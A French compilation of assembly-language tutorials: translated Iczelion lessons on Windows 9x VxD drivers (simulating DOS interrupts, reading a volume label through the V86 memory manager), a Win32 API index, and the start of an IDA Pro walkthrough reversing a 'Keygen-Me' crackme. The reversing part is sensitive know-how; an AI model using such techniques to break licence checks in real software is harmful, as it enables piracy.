cb_s STRUC
CB_VM_Status DD ?
CB_High_Linear DD ?
CB_Client_Pointer DD ?
CB_VMID DD ?
CB_Signature DD ?
cb_s ENDS
CB_Client_Pointer contient le Pointer sur la structure Client Register de Cette VM. Par exemple, vous pouvez obtenir le Pointer de la structure 'Client Register' de la Machine Virtuelle courante par le code suivant :
VMMCall Get_Cur_VM_Handle   ; retourne le handle de la VM actuelle dans ebx
assume ebx:ptr cb_s
mov ebp,[ebx+CB_Client_Pointer] ; pointe sur la structure Client Register
Maintenant que nous comprenons le fonctionnement de la structure 'Client Register', nous pouvons passer à son utilisation. Nous emploierons la structure Client Register' pour passer les valeurs des registers à une interruption MS-DOS, à savoir, int 21h service 2h, qui est le service : Affichage des Caractères. Ce service MS-DOS prend comme paramètre le caractère qui doit être affiché dans dl. Si nous passons le caractère de sonnerie (07h) à ce service, il fera jouer un petit buzzer par le haut-parleur du PC.
Rappelez-vous que l'int 21h est un service MS-DOS et il est ainsi disponible sous le mode V86, comment pouvons-nous appeler une interruption V86 à partir d'un VxD ? Une façon est d'employer le service Exec_Int. Ce service du VMM prend le numéro de l'interruption qui doit être appelé dans eax. Il simule l'interruption indiquée et reprend l'exécution de la VM. Cependant, il doit être appelé dans un bloc d'exécution emboîté. Un bloc d'exécution emboîté est entre parenthèses, c'est à dire borné par Begin_Nest_V86_Exec (ou bien) Begin_Nest_Exec et End_Nest_Exec. Ainsi si nous voulons appeler l'int 21h, service 2h, nous avons besoin de changer les membres Client_ah et Client_Dl de la structure Client_Byte_Reg_Struc dans le bloc d'exécution emboîté et stocker ensuite la valeur 21h dans eax. Quand tout est prêt, appelez Exec_Int.

Exemple

L'exemple est un VxD dynamique qui utilise le service 2h de l'Int 21h pour jouer un petit son.
.386p
include \masm\include\vmm.inc
include \masm\include\vwin32.inc
include \masm\include\v86mmgr.inc

VxDName TEXTEQU <VXDINT>
ControlName TEXTEQU <VXDINT_Control>
VxDMajorVersion TEXTEQU <1>
VxDMinorVersion TEXTEQU <0>

VxD_STATIC_DATA_SEG
VxD_STATIC_DATA_ENDS

VXD_LOCKED_CODE_SEG
;----------------------------------------------------------------------------
; Souvenez-vous : le nom du VxD DOIT ÊTRE majuscule sinon il ne se Chargera/Déchargera pas
;----------------------------------------------------------------------------
DECLARE_VIRTUAL_DEVICE %VxDName,%VxDMajorVersion,%VxDMinorVersion,
            \%ControlName,UNDEFINED_DEVICE_ID,UNDEFINED_INIT_ORDER

Begin_control_dispatch %VxDName
        Control_Dispatch W32_DEVICEIOCONTROL, OnDeviceIoControl
End_control_dispatch %VxDName

VXD_LOCKED_CODE_ENDS

VXD_PAGEABLE_CODE_SEG
BeginProc OnDeviceIoControl
 assume esi:ptr DIOCParams
 .if [esi].dwIoControlCode==1
  Push_Client_State
  VMMCall Begin_Nest_V86_Exec
  assume ebp:ptr Client_Byte_Reg_Struc
  mov [ebp].Client_dl,7
  mov [ebp].Client_ah,2
  mov eax,21h
  VMMCall Exec_Int
  VMMCall End_Nest_Exec
  Pop_Client_State
EndI:
 .endif
 xor eax,eax
 ret
EndProc OnDeviceIoControl
VXD_PAGEABLE_CODE_ENDS

end

Analyse

Push_Client_State
Il n'y a pas grand chose à analyser. Quand le VxD reçoit le message DeviceIoControl, ebp controle déjà la structure Client Register de la VM actuelle. Nous appelons la macro Push_Client_State pour sauvegarder l'état actuel du Client Registers (la totalité des registres) sur la pile. Nous rétablissons par la suite le Client Register grâce à Pop_Client_State.
VMMCall Begin_Nest_V86_Exec
marque le début du bloc d'exécution emboîté en appelant Begin_Nest_V86_Exec.
assume ebp:ptr Client_Byte_Reg_Struc
mov [ebp].Client_dl,7
mov [ebp].Client_ah,2
modifie les images des registres dl et ah dans la structure Client Register. Ces valeurs une fois changées seront employées par l'interruption.
mov eax,21h
VMMCall Exec_Int
Exec_Int attend le numéro de l'interruption dans eax. Nous voulons nous servir de l'int 21h. Alors nous appelons Exec_Int pour Simuler l'interruption.
VMMCall End_Nest_Exec
Pop_Client_State
Une fois que Exec_Int retourne, nous terminons l'exécution du bloque emboîté et rétablissons les valeurs sauvegardées sur la pile du Client Register.
Vous entendrez que le haut-paleur de votre PC joue le caractère sonnore.
[Iczelion's Win32 Assembly Homepage]

Traduit par Morgatte


Virtual 8086 Memory Manager

Le Manager de Mémoire Virtuelle : 8086
(Virtual 8086 Memory Manager)

A la fin du Tutorial précédent, vous avez vu comment simuler une interruption V86. Cependant, il y a un problème qui n'a pas été adressé encore : comment échanger des données entre le VxD et le code V86. Nous allons apprendre comment employer le Manager de Mémoire (V86) à notre avantage.
Downloadez l'exemple.

Un peu de théorie

Si votre VxD travaille avec certaines routines V86, il sera nécessaire tôt ou tard pour passer de gros volumes de données vers et en provenance du programme V86. Le passage d'une grande quantité de données via les registres est exclu. La tentative suivante de réserver un bloc de mémoire en Ring 0 et de passer le pointer du bloc de mémoire via un quelconque registre pour que le code du V86 puisse y avoir accès est voué à l'échec. Si essayez ça, votre système s'effondrera probablement parce que l'adressage du mode V86 exige la paire 'segment:offset', et non pas une adresse linéaire.
Il y a beaucoup de solutions à ce problème. Cependant, ici je choisis une voie facile pour vous montrer quelques services fournis par Le Manager de Mémoire V86.
Si d'une façon ou d'une autre vous pouvez trouver un bloc de mémoire libre dans la région V86 que vous pouvez employer en tant que buffer de communication, qui résoudrait un ces problèmes, essayez-le. Cependant, le problème de traduction du pointer reste toujours vrai (adresse linéaire/adresse segment:offset). Vous pouvez résoudre tous les problèmes en employant les services du Mananger de Mémoire V86.
The Le Manager de Mémoire V86 est un VxD statique qui gère la mémoire pour des applications (programmes)V86. Il fournit aussi des services EMS et XMS aux applications V86 et des services de traduction d'APIs à d'autre VxDs. La traduction d'APIs est en réalité un processus de copie des données Ring-0 dans un buffer de la région V86 et ensuite un passage de l'adresse des données V86 au code du V86. Aucune magie ici. Le Manager de Mémoire V86 entretient le buffer de traduction qui est un bloc de mémoire dans la région V86 pour la reproduction des données du VxD à la région V86 et vice versa. Au commencement ce buffer de traduction est de 4 kilo-octets. Vous pouvez augmenter sa taille en appelant V86MMGR_Set_Mapping_Info.
Maintenant que vous connaissez le buffer de traduction, comment pouvons-nous en copier le contenu ? Cette question implique deux services : V86MMGR_Allocate_Buffer et V86MMGR_Free_buffer.
V86MMGR_Allocate_buffer réserve un bloc de mémoire pour le buffer de traduction et copie facultativement les données Ring 0 dans ce bloc V86 ainsi réservé. V86MMGR_Free_Buffer fait le virement : il copie facultativement les données du bloc V86 réservé dans le buffer Ring-0 et libère le bloc de mémoire réservé par V86MMGR_Allocate_buffer.
Note que le Manager de Mémoire V86 maintient les Buffers réservés comme une pile. Ça signifie que l'empilement/désempilement doit repecter la règle 'Premier empilé/Dernier désempilé'. Ainsi si vous faites deux appels consécutifs avec V86MMGR_Allocate_Buffer, le premier V86MMGR_Free_Buffer libérera le 2e buffer réservé par l'appel V86MMGR_Allocate_Buffer.
Nous pouvons maintenant continuer à examiner la définition V86MMGR_Allocate_buffer. C'est un service de registre-basé. C'est à dire un service qui utilise les registres et non pas la pile pour passer ses paramètres.
ebx | Handle de la VM en fonctionnement
ebp | Pointer sur la structure Client Register de la VM actuelle
ecx | Nombre d'octets à réserver pour le buffer de traduction
Le Flag 'carry' | Mettez-le à 0 si vous ne voulez pas copier de données du buffer Ring-0 vers le bloc réservé. Mettez-le à 1 si vous voulez copier des données du buffer Ring-0 vers le bloc réservé
fs:esi | Adresse du bloc mémoire Ring-0 qui contient les données qui doivent être copiées dans le buffer réservé. A ignorer si le flag Carry est clair (0).

Si le Call est couronné de succès, le flag Carry est mis à 0 et ecx contient le nombre d'octets en réellement réservés pour le buffer de traduction. Cette valeur peut être plus petite que la valeur que vous avez demandée donc vous devez garder quelque part cette valeur pour l'utiliser avec le call V86MMGR_Free_buffer par la suite. edi contient l'adresse du bloc V86 réservé avec en particulier son segment dans le mot de poids fort, et l'offset dans le mot de poids faible. Le flag Carry est mis à 1 si une erreur se produit.
V86MMGR_Free_buffer accepte exactement les mêmes paramètres que V86MMGR_Allocate_buffer.
Ce qui arrive en réalité lorsque vous appelez V86MMGR_Allocate_buffer c'est que vous réservez un bloc de mémoire dans la région V86 de la VM (Machine Virtuelle) courante et obtenez l'adresse V86 de ce bloc de mémoire dans edi. Nous pouvons utiliser ces services pour passer des données à une interruption V86 (dans un sens et dans l'autre).
En plus de la traduction d'APIs, le Manager de Mémoire V86 offre également à d'autre VxDs un service permettant de 'Mapper' les APIs. Mapper, c'est par exemple prendre un morceau de programme (physiquement écrit sous forme de fichier) et le recopier quelque part en mémoire. On fait une copie d'un original physique en Mémoire. Ici il s'agit de Mapper une certaine zone de mémoire vers une autre zone de mémoire ,la zone V86, utilisable pour nous. Le faite de Mapper des APIs est en réalité un processus de 'Mapping' de quelques pages de la mémoire étendue dans la région V86 de chaque VM. Vous pouvez employer V86MMGR_Map_Pages pour Mapper des APIs. Avec ce service, les pages sont Mappées à partir de le même adresse linéaire dans chaque VM. C'est un espace d'adresses superflu si vous voulez travailler avec seulement une VM. Aussi le Mappage d'APIs est plus lent que la traduction d'APIs, donc vous devez employer la traduction d'APIs autant que possible. Mapper des APIs est exigé pour quelque opération V86 qui ont besoin d'avoir accès à la même adresse linéaire et doivent être présent dans toutes les VMs.

Exemple

Cet exemple emploie la traduction d'API grâce à l'int 21h, code 66h, mot de poids faible 440Dh, pour obtenir le n°ID des lecteurs, et obtenir le nom de votre premier disque fixe (le disque dur).
;---------------------------------------------------------------
;                            VxDLabel.asm
;---------------------------------------------------------------
.386p
include \masm\include\vmm.inc
include \masm\include\vwin32.inc
include \masm\include\v86mmgr.inc

VxDName TEXTEQU <VXDLABEL>
ControlName TEXTEQU <VXDLABEL_Control>
VxDMajorVersion TEXTEQU <1>
VxDMinorVersion TEXTEQU <0>

VxD_STATIC_DATA_SEG
VxD_STATIC_DATA_ENDS

VXD_LOCKED_CODE_SEG
;----------------------------------------------------------------------------
; Souvenez-vous : le nom du VxD DOIT ÊTRE majuscule sinon il ne se chargera/déchargera pas.
;----------------------------------------------------------------------------
DECLARE_VIRTUAL_DEVICE %VxDName,%VxDMajorVersion,%VxDMinorVersion, %ControlName,UNDEFINED_DEVICE_ID,UNDEFINED_INIT_ORDER

Begin_control_dispatch %VxDName
        Control_Dispatch W32_DEVICEIOCONTROL, OnDeviceIoControl
End_control_dispatch %VxDName

VXD_LOCKED_CODE_ENDS

VXD_PAGEABLE_CODE_SEG
BeginProc OnDeviceIoControl
 assume esi:ptr DIOCParams
 .if [esi].dwIoControlCode==1
  VMMCall Get_Sys_VM_Handle
  mov Handle,ebx
  assume ebx:ptr cb_s
  mov ebp,[ebx+CB_Client_Pointer]
  mov ecx,sizeof MID
  stc
  push esi
  mov esi,OFFSET32 MediaID
  push ds
  pop fs
  VxDCall V86MMGR_Allocate_Buffer
  pop esi
  jc EndI
  mov AllocSize,ecx
  Push_Client_State
  VMMCall Begin_Nest_V86_Exec
  assume ebp:ptr Client_Byte_Reg_Struc
  mov [ebp].Client_ch,8
  mov [ebp].Client_cl,66h
  assume ebp:ptr Client_word_reg_struc
  mov edx,edi
  mov [ebp].Client_bx,3 ; drive A
  mov [ebp].Client_ax,440dh
  mov [ebp].Client_dx,dx
  shr edx,16
  mov [ebp].Client_ds,dx
  mov eax,21h
  VMMCall Exec_Int
  VMMCall End_Nest_Exec
  Pop_Client_State
  ;-------------------------------
  ; retrieve the data
  ;-------------------------------
  mov ecx,AllocSize
  stc
  mov ebx,Handle
  push esi
  mov esi,OFFSET32 MediaID
  push ds
  pop fs
  VxDCall V86MMGR_Free_Buffer
  pop esi
  mov edx,esi
  assume edx:ptr DIOCParams
  mov edi,[edx].lpvOutBuffer
  mov esi,OFFSET32 MediaID.midVolLabel
  mov ecx,11
  rep movsb
  mov byte ptr [edi],0
  mov ecx,[edx].lpcbBytesReturned
  mov dword ptr [edx],11
EndI:
 .endif
 xor eax,eax
 ret
EndProc OnDeviceIoControl
VXD_PAGEABLE_CODE_ENDS

VXD_PAGEABLE_DATA_SEG
 MID struct
  midInfoLevel dw 0
  midSerialNum dd ?
  midVolLabel db 11 dup(?)
  midFileSysType db 8 dup(?)
 MID ends
 MediaID MID <>
 Handle dd ?
 AllocSize dd ?
VXD_PAGEABLE_DATA_ENDS

end

;------------------------------------------------------------
;                        Label.asm
; The win32 VxD loader.
;------------------------------------------------------------
.386
.model flat,stdcall
option casemap:none

include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib

DlgProc PROTO :DWORD,:DWORD,:DWORD,:DWORD
.data
Failure db "Cannot load VxDLabel.VXD",0
AppName db "Get Disk Label",0
VxDName db "\\.\vxdLabel.vxd",0
OutputTemplate db "Volume Label of Drive C",0

.data?
hInstance HINSTANCE ?
hVxD dd ?
DiskLabel db 12 dup(?)
BytesReturned dd ?

.const
IDD_VXDRUN    equ 101
IDC_LOAD      equ 1000

.code
start:
 invoke GetModuleHandle, NULL
 mov    hInstance,eax
 invoke DialogBoxParam, hInstance, IDD_VXDRUN ,NULL,addr DlgProc,NULL
 invoke ExitProcess,eax

DlgProc proc hDlg:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
 .IF uMsg==WM_INITDIALOG
  invoke CreateFile,addr VxDName,0,0,0,0,FILE_FLAG_DELETE_ON_CLOSE,0
  .if eax==INVALID_HANDLE_VALUE
   invoke MessageBox,hDlg,addr Failure,addr AppName,MB_OK+MB_ICONERROR
   mov hVxD,0
   invoke EndDialog,hDlg,NULL
  .else
   mov hVxD,eax
  .endif
 .elseif uMsg==WM_CLOSE
  .if hVxD!=0
   invoke CloseHandle,hVxD
  .endif
  invoke EndDialog,hDlg,0
 .ELSEIF uMsg==WM_COMMAND
  mov eax,wParam
  mov edx,wParam
  shr edx,16
  .if dx==BN_CLICKED
   .IF ax==IDC_LOAD
     invoke DeviceIoControl,hVxD,1,NULL,0,addr DiskLabel,12,addr BytesReturned,NULL
     invoke MessageBox,hDlg,addr DiskLabel,addr OutputTemplate,MB_OK+MB_ICONINFORMATION
   .endif
  .endif
 .ELSE
  mov eax,FALSE
  ret
 .ENDIF
 mov eax,TRUE
 ret
DlgProc endp
end start

Analyse

Nous allons d'abord examiner label.asm qui est l'application win32 qui charge le VxD.
invoke DeviceIoControl,hVxD,1,NULL,0,addr DiskLabel,12,\
                addr BytesReturned,NULL
Il appelle DeviceIoControl avec le code du Device égal à 1, aucune entrée buffer, un Pointer sur une sortie buffer ainsi que sa taille. DiskLabel est un buffer mis qu'on vient d'initialiser pour réceptionner le nom du volume (du lecteur) renvoyé par le VxD. Le nombre réel d'octets retourné sera stocké dans la variable BytesReturned. Cet exemple montre comment passer des données vers un VxD et recevoir des données d'un VxD : vous passez des Buffers d'Entrée/Sortie au VxD et le VxD Lit/Ecrit dans ces Buffers qui lui sont réservés.

Examinons le VxD maintenant.
VMMCall Get_Sys_VM_Handle
mov Handle,ebx
assume ebx:ptr cb_s
mov ebp,[ebx+CB_Client_Pointer]
Quand le VxD reçoit le message W32_DeviceIoControl, il appelle Get_Sys_VM_handle pour obtenir le handle système VM (la Machine Virtuelle Principale) et le stocker dans une variable nommée handle. Il extrait ensuite le pointer de la structure 'Client Register' à partir du bloc de contrôle de la VM, vers ebp.
mov ecx,sizeof MID
stc
push esi
mov esi,OFFSET32 MediaID
push ds
pop fs
VxDCall V86MMGR_Allocate_Buffer
pop esi
jc EndI
mov AllocSize,ecx
Ensuite, on prépare les paramètres qui doivent être passé à V86MMGR_Allocate_buffer. Nous devons réserver le buffer, de là l'instruction stc. Nous mettons l'offset de MediaID dans esi et le sélecteur dans fs, on appelle alors V86MMGR_Allocate_buffer. Vous vous rappellerez qu'esi contient le pointer sur DIOCParams donc nous devons le préserver en le mettant dans esi puis pousser esi sur la pile et enfin passer esi.
Push_Client_State
VMMCall Begin_Nest_V86_Exec
assume ebp:ptr Client_Byte_Reg_Struc
mov [ebp].Client_ch,8
mov [ebp].Client_cl,66h
assume ebp:ptr Client_word_reg_struc
mov edx,edi
mov [ebp].Client_bx,3 ; Lecteur C
mov [ebp].Client_ax,440dh
Nous préparons les valeurs dans la structure 'Client Register' pour l'int 21h, 440Dh code 66h. En spécifiant ça nous souhaitons récupérer le n°ID du lecteur C. Nous copions aussi la valeur de edi dans edx (edi contient l'adresse V86 du bloc de mémoire réservé par V86MMGR_Allocate_Buffer).
mov [ebp].Client_dx,dx
shr edx,16
mov [ebp].Client_ds,dx
Puisque l'int 21h, 440Dh, code 66h s'attend à recevoir le pointer au niveau du MILIEU de ds:dx, nous devons casser cette paire 'segment:offset' dans edx en deux parties et les mettre dans les images des registres correspondantes.
mov eax,21h
VMMCall Exec_Int
VMMCall End_Nest_Exec
Pop_Client_State
Quand tout est prêt, nous appelons Exec_Int pour simuler l'interruption.
mov ecx,AllocSize
stc
mov ebx,Handle
push esi
mov esi,OFFSET32 MediaID
push ds
pop fs
VxDCall V86MMGR_Free_Buffer
pop esi
Après le retour de Exec_Int, le buffer réservé est rempli par l'information que nous voulons. L'étape suivant c'est de retrouver cette information. On fait ça en appelant V86MMGR_Free_buffer. Ce service libère le bloc de mémoire réservé par V86MMGR_Allocate_Memory et copie les données du bloc de mémoire réservé vers le bloc de mémoire Ring-0 indiqué. Comme pour V86MMGR_Allocate_Memory, si vous voulez effectuer une opération de copie, vous devez mettre le flag Carry avant l'appel de ce service.
mov edx,esi
assume edx:ptr DIOCParams
mov edi,[edx].lpvOutBuffer
mov esi,OFFSET32 MediaID.midVolLabel
mov ecx,11
rep movsb
mov byte ptr [edi],0
mov ecx,[edx].lpcbBytesReturned
mov dword ptr [edx],11
Après que nous ayons l'information dans le buffer Ring-0, nous copions le nom du volume (du lecteur) dans le buffer de l'application win32. Nous pouvons avoir accès à ce buffer en employant le membre lpvOutBuffer appartenant à DIOCParams.
[Iczelion's Win32 Assembly Homepage]

Traduit par Morgatte


Version 1.0
Par Morgatte
Compilé en chm
Par SPOKE3FFF
http://xtx.free.fr/
Team ODC_MARS 2008
Introduction aux APIs Win32
et divers tutoriaux
sur l'ASM
avec sources en fichiers rar
( Application Programming Interface)

A B C D E F G H I J K L M N O P Q R S T U V W X Y Z Vocabulaire

7 Tutoriaux PE | BOUTONS | DIALOG BOX | INITIALISATION | TEMPS | Apis pour les Menus
ImportLib | COMMON DIALOGBOX | FENÊTRES | MENUS | TIMER | IAT&loader
library | DEBUG | HOOKS | SEH | WINDOW PROC | MemoryPatch
AntiDebugger MessageBoxA 1 MessageBoxA 2 35 Cours d'Iczelion http://www.asmfr.com/ hook
IdaPro tuto 1 IdaPro tuto 2 CRYPTOGRAPHIE 9 Tutos sur les vxd Bases Assembleur Récupère presse-Papier

REMERCIEMENTS

-AbnormalTermination
-AdjustWindowRect
-AdjustWindowRectEx
-AnyPopup
-AppendMenu
-ArrangeIconicWindows
-BeginDeferWindowPos
-BringWindowToTop
-CallMsgFilter
-CallNextHookEx
-CallWindowProc
-CallWndProc
-CBTProc
-CharLower
-CharUpper
-CheckDlgButton
-CheckMenuItem
-CheckRadioButton
-ChildWindowFromPoint
-ChooseColor
-ChooseFont
-CloseHandle
-CloseWindow
-CommDlgExtendedError
-CompareFileTime
-CompareStringW
-ContinueDebugEvent
-CreateDialog
-CreateDialogIndirect
-CreateDialogIndirectParam
-CreateDialogParam
-CreateFile
-CreateMenu
-CreatePopupMenu
-CreateProcess
-CreateToolbarEx
-CreateWindow
-CreateWindowEx
-DebugActiveProcess
-DebugBreak
-DebugProc
-DeferWindowPos
-DefDlgProc
-DefHookProc
-DefWindowProc
-DeleteMenu
-DestroyMenu
-DestroyWindow
-DialogBox
-DialogBoxIndirect
-DialogBoxIndirectParam
-DialogBoxParam
-DialogProc
-DispatchMessage
-DosDateTimeToFileTime
-DrawMenuBar
-EnableMenuItem
-EndDeferWindowPos
-EndDialog
-EnumChildProc
-EnumChildWindows
-EnumThreadWindows
-EnumThreadWndProc
-EnumWindows
-EnumWindowsProc
-ExitProcess
-ExitWindowsEx
-FatalAppExit
-FatalExit
-FileTimeToDosDateTime
-FileTimeToSystemTime
-FindText
-FindWindow
-GetClientRect
-GetCommandLine
-GetCurrentDirectory
-GetCurrentTime
-GetDesktopWindow
-GetDialogBaseUnits
-GetDlgCtrlID
-GetDlgItem
-GetDlgItemInt
-GetDlgItemText
-GetDriveType
-GetExceptionCode
-GetExceptionInformation
-GetFileAttributes
-GetFileTime
-GetFileTitle
-GetFocus
-GetForegroundWindow
-GetLastActivePopup
-GetLocalTime
-GetLogicalDrives
-GetLogicalDriveStrings
-GetMenu
-GetMenuCheckMarkDimensions
-GetMenuItemCount
-GetMenuItemID
-GetMenuState
-GetMenuString
-GetMessage
-GetModuleHandle
-GetMsgProc
-GetNextDlgGroupItem
-GetNextDlgTabItem
-GetNextWindow
-GetOpenFileName
-GetParent
-GetPrivateProfileInt
-GetPrivateProfileSection
-GetPrivateProfileString
-GetProcAddress
-GetSaveFileName
-GetStartupInfo
-GetSubMenu
-GetSystemDirectory
-GetSystemMenu
-GetSystemTime
-GetSystemTimeAsFileTime
-GetThreadContext
-GetTickCount
-GetTopWindow
-GetWindow
-GetWindowLong
-GetWindowPlacement
-GetWindowRect
-GetWindowText
-GetWindowTextLength
-GetWindowThreadProcessId
-GetWindowWord
-HiliteMenuItem
-InsertMenu
-IsCharAlpha
-IsCharAlphaNumeric
-IsChild
-IsDialogMessage
-IsDlgButtonChecked
-IsIconic
-IsMenu
-IsWindow
-IsWindowUnicode
-IsWindowVisible
-IsZoomed
-JournalPlaybackProc
-JournalRecordProc
-KeyboardProc
-KillTimer
-LoadBitmap
-LoadCursor
-LoadIcon
-LoadMenu
-LoadMenuIndirect
-lstrcat
-lstrcmp
-lstrcmpi
-lstrcpy
-lstrlen
-MapDialogRect
-MessageBeep
-MessageBox
-MessageBoxEx
-MessageBoxIndirect
-MessageProc
-ModifyMenu
-MouseProc
-MoveWindow
-MultiByteToWideChar
-OpenIcon
-OutputDebugString
-PostMessage
-PostQuitMessage
-PrintDlg
-RaiseException
-ReadProcessMemory
-RegCloseKey
-RegCreateKeyEx
-RegisterClassEx
-RegEnumKeyEx
-RegOpenKeyEx
-RegQueryInfoKey
-RegQueryValueEx
-RegSetValueEx
-RemoveMenu
-ReplaceText
-SendDlgItemMessage
-SendMessage
-SendNotifyMessage
-SetDlgItemInt
-SetDlgItemText
-SetFilePointer
-SetFileTime
-SetFocus
-SetForegroundWindow
-SetMenu
-SetMenuItemBitmaps
-SetParent
-SetSystemTime
-SetTimer
-SetUnhandledExceptionFilter
-SetWindowLong
-SetWindowPos
-SetWindowsHook
-SetWindowsHookEx
-SetWindowText
-SetWindowWord
-ShellExecute
-ShellProc
-ShowOwnedPopups
-ShowWindow
-SysMsgProc
-SystemTimeToFileTime
-TerminateProcess
-TimerProc
-TrackPopupMenu
-TranslateMessage
-UnhandledExceptionFilter
-UnhookWindowsHook
-UnhookWindowsHookEx
-UpdateWindow
-WaitForDebugEvent
-WindowFromPoint
-WindowProc
-WinMain
-WriteFile
-WritePrivateProfileString
-WriteProcessMemory
-WSprintF
CBT_CREATEWND
CBTACTIVATESTRUCT
CHOOSECOLOR
CHOOSEFONT
CONTEXT
CREATE_PROCESS_DEBUG_INFO
CREATE_THREAD_DEBUG_INFO
CWPSTRUCT
DEBUG_EVENT
DEBUGHOOKINFO
DLGTEMPLATE
EVENTMSG
EXCEPTION_DEBUG_INFO
EXCEPTION_POINTERS
EXCEPTION_RECORD
EXIT_PROCESS_DEBUG_INFO
EXIT_THREAD_DEBUG_INFO
FILETIME
FINDREPLACE
LOAD_DLL_DEBUG_INFO
MOUSEHOOKSTRUCT
MSG
OPENFILENAME
OUTPUT_DEBUG_STRING_INFO
POINT
PROCESSINFORMATION
RECT
STARTUPINFO
SYSTEMTIME
TBBUTTON
UNLOAD_DLL_DEBUG_INFO
WINDOWPLACEMENT
WNDCLASS

Voici en Français quelques unes des multiples APIs existantes. Ne prenez pas ces traductions pour un ensemble parfait. Il y aura toujours certaines choses plus ou moins dures à faire passer et plus simplement à comprendre d'une langue à une autre. Aussi je pense que le bon comportement est de lire ici même ce à quoi vous vous intéressez pour vous faire une idée puis reprendre les textes originaux en Anglais pour affiner par vous même les petits points que je n'aurai peut-être pas su vous faire passer.
Quoi qu'il en soit, puisque vous êtes là pour programmer je souhaite que cette doc facilitera votre tâche pour créer vos codes, et pour les autres d'encore mieux percer le langage assembleur, On se comprend n'est-ce pas!

Sachez déjà que cette version n'est pas une fin en soit. Je ne dis pas que ce document sera réactualisé tous les premiers du mois, loin de là, mais vous trouverez toujours la dernière actualisation sur http://www.masm32.com/ sous le nom de 'Win32 APIs (Fr)'.


IDA Tutorial

Cible : Keygen-Me de JuLio eL NeGRo

Voir le répertoire KeygenMe.

Ouvrez le Keygen dans IDA.
Direct, on arrive sur la fonction Start. On y trouve 4 call.
- GetModuleHandleA
- GetCommandLineA
- sub_4040D9 qui prend 4 arguments dont 2 reconnus hInstance et CmdLine (donc cette fonction ne serait-elle pas WinMain par hasard)
- ExitProcess

P.S. Toutes les sources et EXE sont dans ce fichier Rar

WinMain :

Renommez sub_4040D9 en WinMain puis double-cliquez dessus pour y aller directement.

Vous voyez les paramètres qu'elle utilise :
- hWnd = dword
- Msg = MSG
- var_30 = WNDCLASSEXA IDA a reconnu cette structure mais n'a pas renommé "var_30" en "wc", donc faîtes-le. Tout a été propagé, vous avez vu ?
- hInstance = dword

Descendez un peu. Si vous programmez un petit peu vous savez que la fonction WinMain sert principalement à diriger les messages windows (WM_) vers les différents composants de la fenêtre. Parfois aussi elle sert à la création de la fenêtre principale et de ses composants comme c'est le cas ici. Donc regardez un peu plus en détail, on y trouve entre autre la création de deux zones de saisie de texte (Appelés Edit Control). Et justement ce KeygenMe en utilise deux, le premier pour entrer notre Name l'autre pour le Serial.

.text:004041CC                 push    0               ; lpParam
.text:004041CE                 push    hInstance       ; hInstance
.text:004041D4                 push    8               ; hMenu
.text:004041D6                 push    [ebp+hWnd]      ; hWndParent
.text:004041D9                 push    16h             ; nHeight
.text:004041DB                 push    0C8h            ; nWidth
.text:004041E0                 push    0Fh             ; Y
.text:004041E2                 push    5Ah             ; X
.text:004041E4                 push    50800080h       ; dwStyle
.text:004041E9                 push    0               ; lpWindowName
.text:004041EB                 push    offset aEdit    ; lpClassName
.text:004041F0                 push    0               ; dwExStyle
.text:004041F2                 call    CreateWindowExA
.text:004041F7                 mov     dword_4068A8, eax                Renommez-le en hEditName

.text:004041FC                 push    0               ; lpParam
.text:004041FE                 push    hInstance       ; hInstance
.text:00404204                 push    8               ; hMenu
.text:00404206                 push    [ebp+hWnd]      ; hWndParent
.text:00404209                 push    16h             ; nHeight
.text:0040420B                 push    0C8h            ; nWidth
.text:00404210                 push    28h             ; Y
.text:00404212                 push    5Ah             ; X
.text:00404214                 push    50800080h       ; dwStyle
.text:00404219                 push    0               ; lpWindowName
.text:0040421B                 push    offset aEdit    ; lpClassName
.text:00404220                 push    0               ; dwExStyle
.text:00404222                 call    CreateWindowExA
.text:00404227                 mov     dword_4068A4, eax                Renommez-le en hEditSerial
C'est simplement parce que la fonction CreateWindowEx utilise la ClassName "EDIT" qu'on est cetain qu'à cet endroit ce sont des zones d'édition (de saisie de texte) qui sont créés. En retour CreateWindow revoie toujours le handle de l'objet créé donc autant renommé conformément les deux retours, d'autant plus que ça va grandement élaircir notre script plus bas puisque pour comparer le Serial et le Name, ces deux valeurs réapparaîtrons forcément à un moment ou à un autre pour pouvoir récupérer le contenu des champs. Pourquoi ne pas faire la même chose avec les deux boutons.

.text:0040428C                 push    0               ; lpParam
.text:0040428E                 push    hInstance       ; hInstance
.text:00404294                 push    1               ; hMenu
.text:00404296                 push    [ebp+hWnd]      ; hWndParent
.text:00404299                 push    19h             ; nHeight
.text:0040429B                 push    64h             ; nWidth
.text:0040429D                 push    46h             ; Y
.text:0040429F                 push    1Eh             ; X
.text:004042A1                 push    50000000h       ; dwStyle
.text:004042A6                 push    offset aChecq   ; lpWindowName
.text:004042AB                 push    offset aButton  ; lpClassName
.text:004042B0                 push    0               ; dwExStyle
.text:004042B2                 call    CreateWindowExA
.text:004042B7                 mov     dword_004060DC, eax            ; Renommez-le en hBoutonChecq

.text:004042BC                 push    0               ; lpParam
.text:004042BE                 push    hInstance       ; hInstance
.text:004042C4                 push    3               ; hMenu
.text:004042C6                 push    [ebp+hWnd]      ; hWndParent
.text:004042C9                 push    19h             ; nHeight
.text:004042CB                 push    64h             ; nWidth
.text:004042CD                 push    46h             ; Y
.text:004042CF                 push    0B4h            ; X
.text:004042D4                 push    50000000h       ; dwStyle
.text:004042D9                 push    offset aExit    ; lpWindowName
.text:004042DE                 push    offset aButton  ; lpClassName
.text:004042E3                 push    0               ; dwExStyle
.text:004042E5                 call    CreateWindowExA
.text:004042EA                 mov     dword_004060E8, eax           ; Renommez-le en hBoutonExit
WinMain se termine toujours par la "boucle des messages". Cette boucle à pour rôle de dispatcher (distribuer) les différents messages (comme : l'utilisateur vient de cliquer sur le bouton droit de la souris) aux différentes fenêtres du programme. Renommez donc les saut de cette boucle pour bien la mettre en valeur.

.text:00404375 BoucleDesMessages:                      ; CODE XREF: WinMain+2C1j
.text:00404375                 push    0               ; wMsgFilterMax
.text:00404377                 push    0               ; wMsgFilterMin
.text:00404379                 push    0               ; hWnd
.text:0040437B                 lea     eax, [ebp+Msg]
.text:0040437E                 push    eax             ; lpMsg
.text:0040437F                 call    GetMessageA
.text:00404384                 or      eax, eax
.text:00404386                 jz      short SortieDeLaBoucle
.text:00404388                 lea     eax, [ebp+Msg]
.text:0040438B                 push    eax             ; lpMsg
.text:0040438C                 call    TranslateMessage
